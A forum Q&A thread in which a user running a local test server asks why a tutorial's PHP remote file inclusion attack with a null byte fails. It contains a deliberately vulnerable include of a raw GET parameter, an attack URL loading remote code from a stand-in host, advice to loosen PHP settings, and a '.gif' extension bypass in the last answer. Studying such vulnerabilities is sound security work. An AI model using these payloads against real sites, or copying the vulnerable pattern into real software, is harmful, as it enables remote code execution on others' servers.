PHP null byte include failing explation seeked

Question

I am watching a tutorial on YouTube about how to include remote files or local through a standard include command.

Here is the code:

<?php

if(isset($_GET["language"])) {
    $language = $_GET["language"];
    include($language."gif");
}

?>

I got this on a local webserver (WAMP) and I do the tutorial tells me to do.

localhost/inctest/index.php?language=http://www.example.com/badcode.php%00

Warning: include(): Failed opening 'http://www.example.com/badcode.php' for inclusion (include_path='.;C:\php\pear') in C:\wamp\www\inctest\index.php on line 5

my PHP.ini:

allow_url_include = On

I removed my own domain and renamed it to example.com.

What did I miss out on?

Answer 1

Null Byte Poisoning is pretty old vulnerability, which has been already fixed since 5.3.4 PHP-version. Release Announcement:

Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

If you are sure, that your PHP-version is correct, please try to inject some remote resource without NULL-byte character in path, to check, if allow_url_* are set correct in php.ini.

Answer 2

I believe you also need to include in the php.ini the directive of: allow_url_fopen to be set to 1

This allows remote URLs to be loaded using fopen, but considering you're not using fopen, I guess it's not really applicable, but worth a try none the less.

You could also try register_globals this variable controls whether arbitrary variables can be injected into a script via a URL parameter.

[Edit]

Turn off magic_quotes_gpc as that can prevent Null Byte Injection from happening.

Answer 3

As this is a remote file include vulnerability you do not need to rely on null byte injection, simply serve the malicious code with a .gif extension like this: http://www.example.com/badcode.php.gif